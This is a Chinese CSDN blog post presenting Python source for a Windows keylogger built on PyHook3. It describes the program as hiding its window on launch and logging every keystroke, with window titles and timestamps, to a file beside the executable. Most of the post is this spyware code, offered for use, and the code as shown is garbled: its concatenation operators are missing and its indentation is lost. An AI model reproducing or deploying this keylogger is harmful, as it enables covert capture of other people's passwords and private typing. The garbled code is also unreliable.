python键盘记录工具开发_键盘记录器(python源码,基于pyhook3)

本文介绍了如何使用Python的PyHook3库开发一个键盘记录工具,该工具在启动后会隐藏界面,并将记录的按键信息保存在程序目录下。核心代码展示了如何监听键盘事件,包括不同类型的按键处理,并将结果写入文件。
摘要由CSDN通过智能技术生成

【实例简介】打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下

【实例截图】

【核心代码】

# -*- coding: utf-8 -*-

from ctypes import *

import pythoncom

import PyHook3

import win32clipboard

import os,sys

import time

path=os.getcwd()

user32 = windll.user32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]

# 定义击键监听事件函数

def OnKeyboardEvent(event):

global current_window,path

FileStr=""

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if event.Window != current_window:

current_window = event.Window

# event.WindowName有时候会不好用

# 所以调用底层API喊来获取窗口标题

windowTitle = create_string_buffer(512)

windll.user32.GetWindowTextA(event.Window,

byref(windowTitle),

512)

windowName = windowTitle.value.decode('gbk')

FileStr ="\n" ("-"*50) "\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))

#print("\n-----------------")

#print("窗口名:%s"%windowName)

# print("窗口ID:%s"%event.Window)

# 检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii <127:

FileStr =chr(event.Ascii)

#print(chr(event.Ascii),end=''

else:

if(event.Key=="Space"):

FileStr =" "

elif(event.Key=="Return"):

FileStr ="[回车] "

elif(event.Key=="Back"):

FileStr ="[删除] "

#写入文件

fp=open(path "/KeyBoardListen","a",encoding='utf-8')

fp.write(FileStr)

fp.close()

# 循环监听下一个击键事件

return True

# 创建并注册hook管理器

kl = PyHook3.HookManager() #

kl.KeyDown = OnKeyboardEvent

#写入日期

fp=open(path "/KeyBoardListen","a",encoding='utf-8')

fp.write('\n\n' '#######################################'

'\n#' ' '*9 time.strftime('%Y-%m-%d %H:%M:%S') ' '*9 '#'

'\n' '#######################################')

fp.close()

# 注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值